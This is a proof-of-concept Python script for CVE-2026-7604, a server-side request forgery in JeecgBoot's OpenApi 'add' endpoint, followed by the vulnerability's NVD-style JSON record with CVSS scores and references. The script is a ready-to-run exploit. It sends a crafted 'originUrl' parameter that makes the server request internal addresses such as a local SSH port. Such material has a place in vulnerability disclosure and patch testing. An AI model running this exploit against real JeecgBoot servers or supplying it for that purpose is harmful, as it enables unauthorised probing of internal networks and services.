CVE-2026-7604

import requests import json # CVE-2026-7604 PoC for JeecgBoot SSRF # Target configuration target = "http://127.0.0.1:8080" endpoint = "/jeecg-boot/open/api/add" # Malicious internal URL to scan (e.g., local admin panel) malicious_url = "http://127.0.0.1:22" headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-7604-Scanner" } # Payload structure based on vulnerable parameter 'originUrl' payload = { "originUrl": malicious_url, # Note: Depending on the specific API version, other fields might be required. # This demonstrates the core vulnerability exploitation. } try: response = requests.post(target + endpoint, data=json.dumps(payload), headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check response for timing differences indicating internal access.") print("Response:", response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}")

{"cve": {"id": "CVE-2026-7604", "sourceIdentifier": "[email protected]", "published": "2026-05-02T05:16:01.767", "lastModified": "2026-05-05T19:17:22.860", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in JeecgBoot up to 3.9.1. This affects the function OpenApiController.add/OpenApiController.call of the file OpenApiController.java of the component OpenApi Service. Such manipulation of the argument originUrl database leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. It is suggested to upgrade the affected component. The vendor confirmed the issue and will provide a fix in the upcoming release."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/jeecgboot/JeecgBoot/", "source": "[email protected]"}, {"url": "https://github.com/jeecgboot/JeecgBoot/issues/9554", "source": "[email protected]"}, {"url": "https://github.com/jeecgboot/JeecgBoot/issues/9554#issuecomment-4251574151", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/805708", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360561", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360561/cti", "source": "[email protected]"}]}}